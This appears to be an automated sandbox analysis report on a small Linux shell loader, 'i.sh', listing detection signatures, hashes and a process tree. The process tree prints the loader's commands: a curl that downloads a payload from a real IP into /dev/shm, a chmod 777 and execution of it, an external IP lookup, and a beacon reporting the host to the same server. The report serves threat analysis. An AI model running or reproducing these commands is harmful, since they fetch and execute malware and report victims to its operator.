Overview

overview

10

Static

static

1

i.sh

ubuntu-18.04-amd64

10

i.sh

debian-9-armhf

7

i.sh

debian-9-mips

7

i.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    5s
  • max time network
    7s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260126-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260126-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/04/2026, 09:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    i.sh
  • Size 389B
  • Sample260425-ls2ysset3x
  • SHA256 fdb14707de0539a58c200f31ae6dbd43d34465d10c8ea60e332dfc122c4cd635
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 6 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/i.sh
    /tmp/i.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /usr/bin/curl
      curl -sL http://5.63.19.19/vc2 -o /dev/shm/v
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to shm directory
      PID:649
    • /bin/chmod
      chmod 777 /dev/shm/v
      2⤵
      • File and Directory Permissions Modification
      PID:670
    • /usr/bin/curl
      curl -s ifconfig.me
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • System Network Configuration Discovery
      PID:676
    • /bin/uname
      uname -m
      2⤵
        PID:678
      • /usr/bin/curl
        curl -s http://5.63.19.19:9999/verify/hit-85.203.46.5-LOADER-armv7l
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        PID:679
    • /dev/shm/v
      /dev/shm/v
      1⤵
        PID:673

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            v
            • Path /dev/shm/v
            • Size 9.2MB
            • SHA256 ed33fce6b1ea7732567eb674aaff983bdc2eac7da8f541b81963d37f0559e36c
            • MD5 SHA1 SHA512 SSDEEP TLSH
            Submit Download